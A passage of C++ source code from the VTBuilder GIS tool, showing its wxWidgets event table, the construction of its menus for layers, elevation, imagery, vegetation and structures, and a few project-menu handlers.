EVT_MENU(ID_VEG_PLANTS, MainFrame::OnVegPlants) EVT_MENU(ID_VEG_BIOREGIONS, MainFrame::OnVegBioregions) EVT_MENU(ID_VEG_REMAP, MainFrame::OnVegRemap) EVT_MENU(ID_VEG_EXPORTSHP, MainFrame::OnVegExportSHP) EVT_MENU(ID_VEG_HTML, MainFrame::OnVegHTML) EVT_UPDATE_UI(ID_VEG_REMAP, MainFrame::OnUpdateVegExportSHP) EVT_UPDATE_UI(ID_VEG_EXPORTSHP, MainFrame::OnUpdateVegExportSHP) EVT_MENU(ID_FEATURE_SELECT, MainFrame::OnFeatureSelect) EVT_MENU(ID_FEATURE_PICK, MainFrame::OnFeaturePick) EVT_MENU(ID_FEATURE_TABLE, MainFrame::OnFeatureTable) EVT_MENU(ID_STRUCTURE_EDIT_BLD, MainFrame::OnBuildingEdit) EVT_MENU(ID_STRUCTURE_ADD_POINTS, MainFrame::OnBuildingAddPoints) EVT_MENU(ID_STRUCTURE_DELETE_POINTS, MainFrame::OnBuildingDeletePoints) EVT_MENU(ID_STRUCTURE_ADD_LINEAR, MainFrame::OnStructureAddLinear) EVT_MENU(ID_STRUCTURE_EDIT_LINEAR, MainFrame::OnStructureEditLinear) EVT_MENU(ID_STRUCTURE_ADD_INST, MainFrame::OnStructureAddInstances) EVT_MENU(ID_STRUCTURE_ADD_FOUNDATION, MainFrame::OnStructureAddFoundation) EVT_MENU(ID_STRUCTURE_CONSTRAIN, MainFrame::OnStructureConstrain) EVT_MENU(ID_STRUCTURE_SELECT_USING_POLYGONS, MainFrame::OnStructureSelectUsingPolygons) EVT_MENU(ID_STRUCTURE_COLOUR_SELECTED_ROOFS, MainFrame::OnStructureColourSelectedRoofs) EVT_MENU(ID_STRUCTURE_CLEAN_FOOTPRINTS, MainFrame::OnStructureCleanFootprints) EVT_MENU(ID_STRUCTURE_SELECT_INDEX, MainFrame::OnStructureSelectIndex) EVT_MENU(ID_STRUCTURE_EXPORT_FOOTPRINTS, MainFrame::OnStructureExportFootprints) EVT_MENU(ID_STRUCTURE_EXPORT_CANOMA, MainFrame::OnStructureExportCanoma) EVT_UPDATE_UI(ID_FEATURE_SELECT, MainFrame::OnUpdateFeatureSelect) EVT_UPDATE_UI(ID_FEATURE_PICK, MainFrame::OnUpdateFeaturePick) EVT_UPDATE_UI(ID_FEATURE_TABLE, MainFrame::OnUpdateFeatureTable) EVT_UPDATE_UI(ID_STRUCTURE_EDIT_BLD, MainFrame::OnUpdateBuildingEdit) EVT_UPDATE_UI(ID_STRUCTURE_ADD_POINTS, MainFrame::OnUpdateBuildingAddPoints) EVT_UPDATE_UI(ID_STRUCTURE_DELETE_POINTS, MainFrame::OnUpdateBuildingDeletePoints) EVT_UPDATE_UI(ID_STRUCTURE_ADD_LINEAR, MainFrame::OnUpdateStructureAddLinear) EVT_UPDATE_UI(ID_STRUCTURE_EDIT_LINEAR, MainFrame::OnUpdateStructureEditLinear) EVT_UPDATE_UI(ID_STRUCTURE_ADD_INST, MainFrame::OnUpdateStructureAddInstances) EVT_UPDATE_UI(ID_STRUCTURE_ADD_FOUNDATION, MainFrame::OnUpdateStructureAddFoundation) EVT_UPDATE_UI(ID_STRUCTURE_CONSTRAIN, MainFrame::OnUpdateStructureConstrain) EVT_UPDATE_UI(ID_STRUCTURE_SELECT_USING_POLYGONS, MainFrame::OnUpdateStructureSelectUsingPolygons) EVT_UPDATE_UI(ID_STRUCTURE_COLOUR_SELECTED_ROOFS, MainFrame::OnUpdateStructureColourSelectedRoofs) EVT_UPDATE_UI(ID_STRUCTURE_EXPORT_FOOTPRINTS, MainFrame::OnUpdateStructureExportFootprints) EVT_UPDATE_UI(ID_STRUCTURE_EXPORT_CANOMA, MainFrame::OnUpdateStructureExportFootprints) EVT_MENU(ID_RAW_SETTYPE, MainFrame::OnRawSetType) EVT_MENU(ID_RAW_ADDPOINTS, MainFrame::OnRawAddPoints) EVT_MENU(ID_RAW_ADDPOINT_TEXT, MainFrame::OnRawAddPointText) EVT_MENU(ID_RAW_ADDPOINTS_GPS, MainFrame::OnRawAddPointsGPS) EVT_MENU(ID_RAW_ADDFEATURE_WKT, MainFrame::OnRawAddFeatureWKT) EVT_MENU(ID_RAW_STYLE, MainFrame::OnRawStyle) EVT_MENU(ID_RAW_SCALE_H, MainFrame::OnRawScaleH) EVT_MENU(ID_RAW_SCALE_V, MainFrame::OnRawScaleV) EVT_MENU(ID_RAW_OFFSET_V, MainFrame::OnRawOffsetV) EVT_MENU(ID_RAW_CLEAN, MainFrame::OnRawClean) EVT_MENU(ID_RAW_SELECT_BAD, MainFrame::OnRawSelectBad) EVT_MENU(ID_RAW_SELECTCONDITION, MainFrame::OnRawSelectCondition) EVT_MENU(ID_RAW_EXPORT_KML, MainFrame::OnRawExportKML) EVT_MENU(ID_RAW_GENERATE_ELEVATION, MainFrame::OnRawGenElevation) EVT_MENU(ID_RAW_GENERATE_TIN, MainFrame::OnRawGenerateTIN) EVT_MENU(ID_RAW_CONVERT_TOPOLYS, MainFrame::OnRawConvertToPolygons) EVT_UPDATE_UI(ID_RAW_SETTYPE, MainFrame::OnUpdateRawSetType) EVT_UPDATE_UI(ID_RAW_ADDPOINTS, MainFrame::OnUpdateRawAddPoints) EVT_UPDATE_UI(ID_RAW_ADDPOINT_TEXT, MainFrame::OnUpdateRawAddPointText) EVT_UPDATE_UI(ID_RAW_ADDPOINTS_GPS, MainFrame::OnUpdateRawAddPointsGPS) EVT_UPDATE_UI(ID_RAW_ADDFEATURE_WKT, MainFrame::OnUpdateRawIsActive) EVT_UPDATE_UI(ID_RAW_STYLE, MainFrame::OnUpdateRawIsActive) EVT_UPDATE_UI(ID_RAW_SCALE_H, MainFrame::OnUpdateRawIsActive) EVT_UPDATE_UI(ID_RAW_SCALE_V, MainFrame::OnUpdateRawIsActive3D) EVT_UPDATE_UI(ID_RAW_OFFSET_V, MainFrame::OnUpdateRawIsActive3D) EVT_UPDATE_UI(ID_RAW_CLEAN, MainFrame::OnUpdateRawHasPolylines) EVT_UPDATE_UI(ID_RAW_SELECT_BAD, MainFrame::OnUpdateRawIsPolygon) EVT_UPDATE_UI(ID_RAW_SELECTCONDITION, MainFrame::OnUpdateRawIsActive) EVT_UPDATE_UI(ID_RAW_EXPORT_IMAGEMAP, MainFrame::OnUpdateRawIsPolygon) EVT_UPDATE_UI(ID_RAW_EXPORT_KML, MainFrame::OnUpdateRawIsPoint) EVT_UPDATE_UI(ID_RAW_GENERATE_ELEVATION,MainFrame::OnUpdateRawGenElevation) EVT_UPDATE_UI(ID_RAW_GENERATE_TIN, MainFrame::OnUpdateRawIsActive) EVT_UPDATE_UI(ID_RAW_CONVERT_TOPOLYS, MainFrame::OnUpdateRawIsActive) EVT_MENU(ID_AREA_CLEAR, MainFrame::OnAreaClear) EVT_MENU(ID_AREA_ZOOM_ALL, MainFrame::OnAreaZoomAll) EVT_MENU(ID_AREA_ZOOM_LAYER, MainFrame::OnAreaZoomLayer) EVT_MENU(ID_AREA_TYPEIN, MainFrame::OnAreaTypeIn) EVT_MENU(ID_AREA_MATCH, MainFrame::OnAreaMatch) EVT_MENU(ID_AREA_SAMPLE_ELEV, MainFrame::OnAreaSampleElev) EVT_MENU(ID_AREA_SAMPLE_IMAGE, MainFrame::OnAreaSampleImage) EVT_MENU(ID_AREA_GENERATE_VEG, MainFrame::OnAreaGenerateVeg) EVT_MENU(ID_AREA_VEG_DENSITY, MainFrame::OnAreaVegDensity) EVT_MENU(ID_AREA_REQUEST_WFS, MainFrame::OnAreaRequestWFS) EVT_MENU(ID_AREA_REQUEST_WMS, MainFrame::OnAreaRequestWMS) EVT_MENU(ID_AREA_SAMPLE_ELEV_OPT, MainFrame::OnAreaSampleElevTileset) EVT_MENU(ID_AREA_SAMPLE_IMAGE_OPT, MainFrame::OnAreaSampleImageTileset) EVT_UPDATE_UI(ID_AREA_ZOOM_ALL, MainFrame::OnUpdateAreaZoomAll) EVT_UPDATE_UI(ID_AREA_ZOOM_LAYER, MainFrame::OnUpdateAreaZoomLayer) EVT_UPDATE_UI(ID_AREA_MATCH, MainFrame::OnUpdateAreaMatch) EVT_UPDATE_UI(ID_AREA_SAMPLE_ELEV, MainFrame::OnUpdateAreaSampleElev) EVT_UPDATE_UI(ID_AREA_SAMPLE_IMAGE, MainFrame::OnUpdateAreaSampleImage) EVT_UPDATE_UI(ID_AREA_GENERATE_VEG, MainFrame::OnUpdateAreaGenerateVeg) EVT_UPDATE_UI(ID_AREA_VEG_DENSITY, MainFrame::OnUpdateAreaVegDensity) EVT_UPDATE_UI(ID_AREA_REQUEST_WFS, MainFrame::OnUpdateAreaRequestWMS) EVT_UPDATE_UI(ID_AREA_REQUEST_WMS, MainFrame::OnUpdateAreaRequestWMS) EVT_UPDATE_UI(ID_AREA_SAMPLE_ELEV_OPT, MainFrame::OnUpdateAreaSampleElev) EVT_UPDATE_UI(ID_AREA_SAMPLE_IMAGE_OPT, MainFrame::OnUpdateAreaSampleImage) EVT_MENU(wxID_HELP, MainFrame::OnHelpAbout) EVT_MENU(ID_HELP_DOC_LOCAL, MainFrame::OnHelpDocLocal) EVT_MENU(ID_HELP_DOC_ONLINE, MainFrame::OnHelpDocOnline) // Popup menu items EVT_MENU(ID_DISTANCE_CLEAR, MainFrame::OnDistanceClear) EVT_MENU(ID_POPUP_SHOWALL, MainFrame::OnShowAll) EVT_MENU(ID_POPUP_HIDEALL, MainFrame::OnHideAll) EVT_MENU(ID_POPUP_PROPS, MainFrame::OnLayerPropsPopup) EVT_MENU(ID_POPUP_TO_TOP, MainFrame::OnLayerToTop) EVT_MENU(ID_POPUP_TO_BOTTOM, MainFrame::OnLayerToBottom) EVT_MENU(ID_POPUP_OVR_DISK, MainFrame::OnLayerOverviewDisk) EVT_MENU(ID_POPUP_OVR_MEM, MainFrame::OnLayerOverviewMem) // MRU dynamic menus EVT_MENU_RANGE(ID_FIRST_MRU_FILE, ID_FIRST_MRU_FILE+40, MainFrame::OnMRUFileProject) EVT_MENU_RANGE(ID_FIRST_MRU_LAYER, ID_FIRST_MRU_LAYER+40, MainFrame::OnMRUFileLayer) EVT_MENU_RANGE(ID_FIRST_MRU_IMPORT, ID_FIRST_MRU_IMPORT+40, MainFrame::OnMRUFileImport) EVT_CHAR(MainFrame::OnChar) EVT_KEY_DOWN(MainFrame::OnKeyDown) EVT_MOUSEWHEEL(MainFrame::OnMouseWheel) EVT_CLOSE(MainFrame::OnClose) END_EVENT_TABLE() void MainFrame::CreateMenus() { int menu_num = 0; wxString ampersand = _T("&"); m_pMenuBar = new wxMenuBar; // Project menu fileMenu = new wxMenu; fileMenu->Append(ID_FILE_NEW, _("&New\tCtrl+N"), _("New Project")); fileMenu->Append(ID_FILE_OPEN, _("Open Project\tCtrl+O"), _("Open Project")); fileMenu->Append(ID_FILE_SAVE, _("Save Project\tCtrl+S"), _("Save Project As")); mruMenu = new wxMenu; fileMenu->Append(ID_FILE_MRU, _("Recent Projects"), mruMenu); fileMenu->AppendSeparator(); wxMenu *specialMenu = new wxMenu; specialMenu->Append(ID_SPECIAL_FLIP, _("&Flip Elevation North/South")); specialMenu->Append(ID_SPECIAL_BATCH, _("Batch Conversion of Elevation")); specialMenu->Append(ID_SPECIAL_DYMAX_TEXTURES, _("Create Dymaxion Textures")); specialMenu->Append(ID_SPECIAL_DYMAX_MAP, _("Create Dymaxion Map")); specialMenu->Append(ID_SPECIAL_PROCESS_BILLBOARD, _("Process Billboard Texture")); specialMenu->Append(ID_SPECIAL_GEOCODE, _("Geocode")); specialMenu->Append(ID_SPECIAL_RUN_TEST, _("Run test")); specialMenu->Append(ID_ELEV_COPY, _("Copy Elevation Layer to Clipboard")); specialMenu->Append(ID_ELEV_PASTE_NEW, _("New Elevation Layer from Clipboard")); fileMenu->Append(0, ampersand + _("Special"), specialMenu); fileMenu->AppendSeparator(); fileMenu->Append(ID_FILE_PREFS, _("Preferences")); fileMenu->AppendSeparator(); fileMenu->Append(ID_FILE_EXIT, _("E&xit\tAlt-X"), _("Exit")); #ifdef __WXMAC__ wxApp::s_macPreferencesMenuItemId = ID_FILE_PREFS; wxApp::s_macExitMenuItemId = ID_FILE_EXIT; #endif m_pMenuBar->Append(fileMenu, _("&Project")); menu_num++; // Edit editMenu = new wxMenu; editMenu->Append(ID_EDIT_DELETE, _("Delete\tDEL"), _("Delete")); editMenu->AppendSeparator(); editMenu->Append(ID_EDIT_DESELECTALL, _("Deselect All"), _("Clears selection")); editMenu->Append(ID_EDIT_INVERTSELECTION, _("Invert Selection")); editMenu->AppendCheckItem(ID_EDIT_CROSSINGSELECTION, _("Crossing Selection")); m_pMenuBar->Append(editMenu, _("&Edit")); menu_num++; // Layer layerMenu = new wxMenu; layerMenu->Append(ID_LAYER_NEW, _("&New Layer"), _("Create New Layer")); layerMenu->Append(ID_LAYER_OPEN, _("Open Layer"), _("Open Existing Layer")); layerMenu->Append(ID_LAYER_SAVE, _("Save Layer"), _("Save Active Layer")); layerMenu->Append(ID_LAYER_SAVE_AS, _("Save Layer As..."), _("Save Active Layer As")); layerMenu->Append(ID_LAYER_IMPORT, _("Import Data\tCtrl+I"), _("Import Data")); mruLayerMenu = new wxMenu; mruImportMenu = new wxMenu; layerMenu->Append(ID_MRU_LAYER, _("Recent Layers"), mruLayerMenu); layerMenu->Append(ID_MRU_IMPORT, _("Recent Imports"), mruImportMenu); layerMenu->AppendSeparator(); layerMenu->Append(ID_LAYER_IMPORTTIGER, _("Import Layers From TIGER")); layerMenu->Append(ID_LAYER_IMPORTOSM, _("Import Layers From OSM"), _("Import multiple layers from a OpenStreetMap .osm File")); layerMenu->Append(ID_LAYER_IMPORTNTF, _("Import Layers From NTF"), _("Import multiple layers from an OSGB NTF File")); layerMenu->Append(ID_LAYER_IMPORT_MS, _("Import From MapSource File")); layerMenu->Append(ID_LAYER_IMPORT_POINT, _("Import Point Data From Table")); layerMenu->Append(ID_LAYER_IMPORT_XML, _("Import Point Data From XML")); layerMenu->Append(ID_LAYER_IMPORT_DXF, _("Import Raw Layers from DXF")); layerMenu->AppendSeparator(); layerMenu->Append(ID_LAYER_PROPS, _("Layer Properties"), _("Layer Properties")); layerMenu->Append(ID_EDIT_OFFSET, _("Offset Coordinates"), _("Offset")); layerMenu->AppendSeparator(); layerMenu->Append(ID_LAYER_COMBINE, _("&Combine Layers"), _("Combine")); layerMenu->AppendSeparator(); layerMenu->Append(ID_LAYER_CONVERTCRS, _("Convert Coordinate System"), _("Convert Coordinate System")); layerMenu->Append(ID_LAYER_SETCRS, _("Set Coordinate System"), _("Set Coordinate System")); m_pMenuBar->Append(layerMenu, _("&Layer")); menu_num++; // View viewMenu = new wxMenu; viewMenu->AppendCheckItem(ID_VIEW_SHOWLAYER, _("Current Layer &Visible"), _("Toggle Visibility of the current Layer")); viewMenu->Append(ID_VIEW_LAYER_UP, _("Move Layer &Up")); viewMenu->Append(ID_VIEW_LAYER_DOWN, _("Move Layer &Down")); viewMenu->AppendSeparator(); viewMenu->Append(ID_VIEW_ZOOMIN, _("Zoom &In\tCtrl++")); viewMenu->Append(ID_VIEW_ZOOMOUT, _("Zoom Out\tCtrl+-")); viewMenu->Append(ID_VIEW_ZOOMALL, _("Zoom &All")); viewMenu->Append(ID_VIEW_ZOOM_LAYER, _("Zoom to Current &Layer")); viewMenu->Append(ID_VIEW_FULLVIEW, _("Zoom to &Full Res (1:1)")); viewMenu->Append(ID_VIEW_ZOOM_AREA, _("Zoom to Area Tool")); viewMenu->AppendSeparator(); viewMenu->AppendCheckItem(ID_VIEW_TOOLBAR, _("Toolbar")); viewMenu->AppendCheckItem(ID_VIEW_LAYERS, _("Layers")); viewMenu->AppendSeparator(); viewMenu->AppendCheckItem(ID_VIEW_MAGNIFIER, _("&Magnifier\tZ")); viewMenu->AppendCheckItem(ID_VIEW_PAN, _("&Pan\tSPACE")); viewMenu->AppendCheckItem(ID_VIEW_DISTANCE, _("Obtain &Distance")); viewMenu->AppendCheckItem(ID_VIEW_SETAREA, _("Area &Tool")); viewMenu->AppendSeparator(); viewMenu->AppendCheckItem(ID_VIEW_WORLDMAP, _("&World Map"), _("Show/Hide World Map")); viewMenu->AppendCheckItem(ID_VIEW_SHOWUTM, _("Show &UTM Boundaries")); // viewMenu->AppendCheckItem(ID_VIEW_SHOWGRID, _("Show 7.5\" Grid"), _("Show 7.5\" Grid"), true); viewMenu->AppendCheckItem(ID_VIEW_PROFILE, _("Elevation Profile")); viewMenu->AppendCheckItem(ID_VIEW_SCALE_BAR, _("Scale Bar")); viewMenu->AppendSeparator(); viewMenu->Append(ID_VIEW_OPTIONS, _("&Options")); m_pMenuBar->Append(viewMenu, _("&View")); menu_num++; // Roads roadMenu = new wxMenu; roadMenu->AppendCheckItem(ID_ROAD_SELECTROAD, _("Select/Modify Roads")); roadMenu->AppendCheckItem(ID_ROAD_SELECTNODE, _("Select/Modify Nodes")); roadMenu->AppendCheckItem(ID_ROAD_SELECTWHOLE, _("Select Whole Roads")); roadMenu->AppendCheckItem(ID_ROAD_DIRECTION, _("Set Road Direction")); roadMenu->AppendCheckItem(ID_ROAD_EDIT, _("Edit Road Points")); roadMenu->AppendSeparator(); roadMenu->AppendCheckItem(ID_ROAD_SHOWNODES, _("Show Nodes")); roadMenu->AppendCheckItem(ID_ROAD_SELECTHWY, _("Select by Highway Number")); roadMenu->AppendSeparator(); roadMenu->Append(ID_ROAD_CLEAN, _("Clean RoadMap"), _("Clean")); roadMenu->Append(ID_ROAD_GUESS, _("Guess Intersection Types")); m_pMenuBar->Append(roadMenu, _("&Roads")); m_iLayerMenu[LT_ROAD] = menu_num; menu_num++; // Utilities utilityMenu = new wxMenu; utilityMenu->AppendCheckItem(ID_TOWER_ADD, _("Add a Transmission Tower")); utilityMenu->AppendSeparator(); utilityMenu->AppendCheckItem(ID_TOWER_SELECT, _("Select Utility Layer")); utilityMenu->AppendCheckItem(ID_TOWER_EDIT, _("Edit Transmission Towers")); m_pMenuBar->Append(utilityMenu, _("Util&ities")); m_iLayerMenu[LT_UTILITY] = menu_num; menu_num++; // Elevation elevMenu = new wxMenu; elevMenu->AppendCheckItem(ID_ELEV_SELECT, _("Se&lect Elevation Layer")); elevMenu->AppendSeparator(); elevMenu->Append(ID_ELEV_SCALE, _("Sc&ale Elevation")); elevMenu->Append(ID_ELEV_VERT_OFFSET, _("Offset Elevation Vertically")); elevMenu->Append(ID_ELEV_REMOVERANGE, _("&Remove Elevation Range...")); elevMenu->Append(ID_ELEV_ARITHMETIC, _("&Create Layer from Arithmetic")); wxMenu *fillMenu = new wxMenu; fillMenu->Append(ID_ELEV_FILL_FAST, _("Fast")); fillMenu->Append(ID_ELEV_FILL_SLOW, _("Slow and smooth")); fillMenu->Append(ID_ELEV_FILL_REGIONS, _("Extrapolation via partial derivatives")); elevMenu->Append(0, _("&Fill In Unknown Areas"), fillMenu); elevMenu->Append(ID_ELEV_SETUNKNOWN, _("&Set Unknown Areas")); elevMenu->AppendSeparator(); elevMenu->Append(ID_ELEV_EXPORT, _("E&xport To...")); elevMenu->Append(ID_ELEV_EXPORT_TILES, _("Export to libMini tileset...")); elevMenu->Append(ID_ELEV_BITMAP, _("Re&nder to Bitmap...")); elevMenu->Append(ID_ELEV_TOTIN, _("Convert Grid to TIN")); elevMenu->Append(ID_ELEV_CONTOURS, _("Generate Contours")); elevMenu->Append(ID_ELEV_CARVE, _("Carve Grid with Culture")); elevMenu->AppendSeparator(); elevMenu->Append(ID_ELEV_MERGETIN, _("&Merge shared TIN vertices")); elevMenu->AppendCheckItem(ID_ELEV_TRIMTIN, _("Trim TIN triangles by line segment")); m_pMenuBar->Append(elevMenu, _("Eleva&tion")); m_iLayerMenu[LT_ELEVATION] = menu_num; menu_num++; // Imagery imgMenu = new wxMenu; imgMenu->Append(ID_IMAGE_REPLACE_RGB, _("Replace RGB...")); imgMenu->Append(ID_IMAGE_CREATE_OVERVIEWS, _("Create Overviews on Disk")); imgMenu->Append(ID_IMAGE_CREATE_OVER_ALL, _("Create Overviews on Disk for All Images")); imgMenu->Append(ID_IMAGE_CREATE_MIPMAPS, _("Create Overviews in Memory")); //imgMenu->Append(ID_IMAGE_LOAD_MIPMAPS, _("Load Overviews into Memory")); imgMenu->AppendSeparator(); imgMenu->Append(ID_IMAGE_EXPORT_TILES, _("Export to libMini tileset...")); imgMenu->Append(ID_IMAGE_EXPORT_PPM, _("Export to PPM")); m_pMenuBar->Append(imgMenu, _("Imagery")); m_iLayerMenu[LT_IMAGE] = menu_num; menu_num++; // Vegetation vegMenu = new wxMenu; vegMenu->Append(ID_VEG_PLANTS, _("Species List"), _("View/Edit list of available plant species")); vegMenu->Append(ID_VEG_BIOREGIONS, _("BioRegions"), _("View/Edit list of species & density for each BioRegion")); vegMenu->AppendSeparator(); vegMenu->Append(ID_VEG_REMAP, _("Remap Species")); vegMenu->Append(ID_VEG_EXPORTSHP, _("Export SHP")); vegMenu->Append(ID_VEG_HTML, _("Write species to HTML")); m_pMenuBar->Append(vegMenu, _("Veg&etation")); m_iLayerMenu[LT_VEG] = menu_num; menu_num++; // Structures bldMenu = new wxMenu; bldMenu->AppendCheckItem(ID_FEATURE_SELECT, _("Select Features")); bldMenu->AppendCheckItem(ID_STRUCTURE_EDIT_BLD, _("Edit Buildings")); bldMenu->AppendCheckItem(ID_STRUCTURE_ADD_POINTS, _("Add points to building footprints"), _T("")); bldMenu->AppendCheckItem(ID_STRUCTURE_DELETE_POINTS, _("Delete points from building footprints"), _T("")); bldMenu->AppendCheckItem(ID_STRUCTURE_ADD_LINEAR, _("Add Linear Structures")); bldMenu->AppendCheckItem(ID_STRUCTURE_EDIT_LINEAR, _("Edit Linear Structures")); bldMenu->AppendCheckItem(ID_STRUCTURE_ADD_INST, _("Add Instances")); bldMenu->AppendSeparator(); bldMenu->Append(ID_STRUCTURE_ADD_FOUNDATION, _("Add Foundation Levels to Buildings"), _T("")); bldMenu->Append(ID_STRUCTURE_SELECT_USING_POLYGONS, _("Select Using Polygons"), _("Select buildings using selected raw layer polygons")); bldMenu->Append(ID_STRUCTURE_COLOUR_SELECTED_ROOFS, _("Colour Selected Roofs"), _("Set roof colour on selected buildings")); bldMenu->Append(ID_STRUCTURE_CLEAN_FOOTPRINTS, _("Clean Footprints"), _("Clean up degenerate footprint geometry")); bldMenu->Append(ID_STRUCTURE_SELECT_INDEX, _("Select structure by index")); bldMenu->AppendSeparator(); bldMenu->Append(ID_STRUCTURE_EXPORT_FOOTPRINTS, _("Export footprints to SHP")); bldMenu->Append(ID_STRUCTURE_EXPORT_CANOMA, _("Export footprints to Canoma3DV")); bldMenu->AppendSeparator(); bldMenu->AppendCheckItem(ID_STRUCTURE_CONSTRAIN, _("Constrain angles on footprint edit")); m_pMenuBar->Append(bldMenu, _("&Structures")); m_iLayerMenu[LT_STRUCTURE] = menu_num; menu_num++; // Raw rawMenu = new wxMenu; rawMenu->AppendCheckItem(ID_FEATURE_SELECT, _("Select Features")); rawMenu->AppendCheckItem(ID_FEATURE_PICK, _("Pick Features")); rawMenu->AppendCheckItem(ID_FEATURE_TABLE, _("Show Attribute Table")); rawMenu->AppendSeparator(); rawMenu->Append(ID_RAW_SETTYPE, _("Set Entity Type"), _("Set Entity Type")); rawMenu->AppendCheckItem(ID_RAW_ADDPOINTS, _("Add Points with Mouse")); rawMenu->Append(ID_RAW_ADDPOINT_TEXT, _("Add Point with Text\tCtrl+T"), _("Add point")); rawMenu->Append(ID_RAW_ADDPOINTS_GPS, _("Add Points with GPS"), _("Add points with GPS")); rawMenu->Append(ID_RAW_ADDFEATURE_WKT, _("Add Feature from WKT"), _("Add Feature from WKT")); rawMenu->Append(ID_RAW_STYLE, _("Style...")); rawMenu->Append(ID_RAW_SCALE_H, _("Scale horizontally")); rawMenu->Append(ID_RAW_SCALE_V, _("Scale vertically")); rawMenu->Append(ID_RAW_OFFSET_V, _("Offset vertically")); rawMenu->Append(ID_RAW_CLEAN, _("Clean polygon geometry")); rawMenu->Append(ID_RAW_SELECT_BAD, _("Select bad geometry")); rawMenu->AppendSeparator(); rawMenu->Append(ID_RAW_SELECTCONDITION, _("Select Features by Condition")); rawMenu->Append(ID_RAW_EXPORT_IMAGEMAP, _("Export as HTML ImageMap")); rawMenu->Append(ID_RAW_EXPORT_KML, _("Export as KML")); rawMenu->Append(ID_RAW_GENERATE_ELEVATION, _("Generate Grid from 3D Points")); rawMenu->Append(ID_RAW_GENERATE_TIN, _("Generate TIN")); rawMenu->Append(ID_RAW_CONVERT_TOPOLYS, _("Generate Polygons from Polylines")); m_pMenuBar->Append(rawMenu, _("Ra&w")); m_iLayerMenu[LT_RAW] = menu_num; menu_num++; // Area areaMenu = new wxMenu; areaMenu->Append(ID_AREA_CLEAR, _("Clear (Set to zero)")); areaMenu->Append(ID_AREA_ZOOM_ALL, _("Set to Full Extents"), _("Set the Area Tool rectangle to the combined extent of all layers.")); areaMenu->Append(ID_AREA_ZOOM_LAYER, _("Set to Layer Extents"), _("Set the Area Tool rectangle to the extent of the active layer.")); areaMenu->Append(ID_AREA_TYPEIN, _("Numeric Values"), _("Set the Area Tool rectangle by text entry of coordinates.")); areaMenu->Append(ID_AREA_MATCH, _("Match Area and Tiling to Layer"), _("Set the Area Tool rectangle by matching the resolution of a layer.")); areaMenu->AppendSeparator(); areaMenu->Append(ID_AREA_SAMPLE_ELEV, _("Sample &Elevation"), _("Sample all elevation data within the Area Tool to produce a single, new elevation.")); areaMenu->Append(ID_AREA_SAMPLE_IMAGE, _("Sample &Imagery"), _("Sample imagery within the Area Tool to produce a single, new image.")); areaMenu->Append(ID_AREA_GENERATE_VEG, _("Generate Vegetation"), _("Generate Vegetation File (*.vf) containing plant distribution.")); areaMenu->Append(ID_AREA_VEG_DENSITY, _("Compute Vegetation Density"), _("Compute and display the density of each species of vegetation in the given area.")); #if SUPPORT_CURL areaMenu->Append(ID_AREA_REQUEST_WFS, _("Request Layer from WFS")); areaMenu->Append(ID_AREA_REQUEST_WMS, _("Request Image from WMS")); #endif // SUPPORT_CURL areaMenu->AppendSeparator(); areaMenu->Append(ID_AREA_SAMPLE_ELEV_OPT, _("Sample Elevation to Tileset"), _("Sample all elevation data within the Area Tool efficiently to produce an elevation tileset.")); areaMenu->Append(ID_AREA_SAMPLE_IMAGE_OPT, _("Sample Imagery to Tileset"), _("Sample all image data within the Area Tool efficiently to produce an image tileset.")); m_pMenuBar->Append(areaMenu, _("&Area Tool")); menu_num++; // Help helpMenu = new wxMenu; wxString msg = _("About "); msg += wxString("VTBuilder", wxConvUTF8); #ifdef __WXMAC__ #endif helpMenu->Append(wxID_HELP, _("&About"), msg); helpMenu->Append(ID_HELP_DOC_LOCAL, _("Documentation (local)"), msg); helpMenu->Append(ID_HELP_DOC_ONLINE, _("Documentation (on the web)"), msg); m_pMenuBar->Append(helpMenu, _("&Help")); #ifdef __WXMAC__ wxApp::s_macAboutMenuItemId = wxID_HELP; wxApp::s_macHelpMenuTitleName = _("&Help"); #endif menu_num++; SetMenuBar(m_pMenuBar); } void MainFrame::UpdateMRU(wxMenu *menu, const vtStringArray &files, int first_id) { while (menu->GetMenuItemCount() > 0) menu->Delete(menu->FindItemByPosition(0)); for (size_t i = 0; i < files.size(); i++) menu->Append(first_id+i, wxString(files[i], wxConvUTF8), wxEmptyString); } //////////////////////////////////////////////////////////////// // Project menu void MainFrame::OnProjectNew(wxCommandEvent &event) { SetActiveLayer(NULL); DeleteContents(); m_area.SetRect(0.0, 0.0, 0.0, 0.0); m_pView->Refresh(); Refresh(); // reset veg too m_strSpeciesFilename = ""; m_strBiotypesFilename = ""; m_SpeciesList.Clear(); m_BioRegion.Clear(); RefreshTreeView(); RefreshToolbars(); vtCRS p; SetCRS(p); } wxString GetProjectFilter() { return FSTRING_VTB; } void MainFrame::OnProjectOpen(wxCommandEvent &event) { wxFileDialog loadFile(NULL, _("Load Project"), _T(""), _T(""), GetProjectFilter(), wxFD_OPEN); bool bResult = (loadFile.ShowModal() == wxID_OK); if (!bResult) return; LoadProject(loadFile.GetPath()); } void MainFrame::OnProjectSave(wxCommandEvent &event) { wxFileDialog saveFile(NULL, _("Save Project"), _T(""), _T(""), GetProjectFilter(), wxFD_SAVE | wxFD_OVERWRITE_PROMPT ); bool bResult = (saveFile.ShowModal() == wxID_OK); if (!bResult) return; wxString strPathName = saveFile.GetPath(); SaveProject(strPathName); // Add saved projects to the MRU list AddToMRU(m_ProjectFiles, (const char *) strPathName.mb_str(wxConvUTF8)); } void MainFrame::OnProjectPrefs(wxCommandEvent &event) { PrefDlg dlg(this, wxID_ANY, _("Preferences")); dlg.b1 = (g_Options.GetValueBool(TAG_USE_CURRENT_CRS) == true); dlg.b2 = (g_Options.GetValueBool(TAG_USE_CURRENT_CRS) == false); dlg.b3 = g_Options.GetValueBool(TAG_LOAD_IMAGES_ALWAYS); dlg.b4 = g_Options.GetValueBool(TAG_LOAD_IMAGES_NEVER); dlg.b5 = (!g_Options.GetValueBool(TAG_LOAD_IMAGES_ALWAYS) && !g_Options.GetValueBool(TAG_LOAD_IMAGES_NEVER)); dlg.b6 = g_Options.GetValueBool(TAG_REPRO_TO_FLOAT_NEVER); dlg.b7 = g_Options.GetValueBool(TAG_REPRO_TO_FLOAT_ALWAYS); dlg.b8 = (!g_Options.GetValueBool(TAG_REPRO_TO_FLOAT_ALWAYS) && !g_Options.GetValueBool(TAG_REPRO_TO_FLOAT_NEVER)); dlg.b9 = (g_Options.GetValueInt(TAG_GAP_FILL_METHOD) == 1); dlg.b10 = (g_Options.GetValueInt(TAG_GAP_FILL_METHOD) == 2); dlg.b11 = (g_Options.GetValueInt(TAG_GAP_FILL_METHOD) == 3); dlg.b12 = 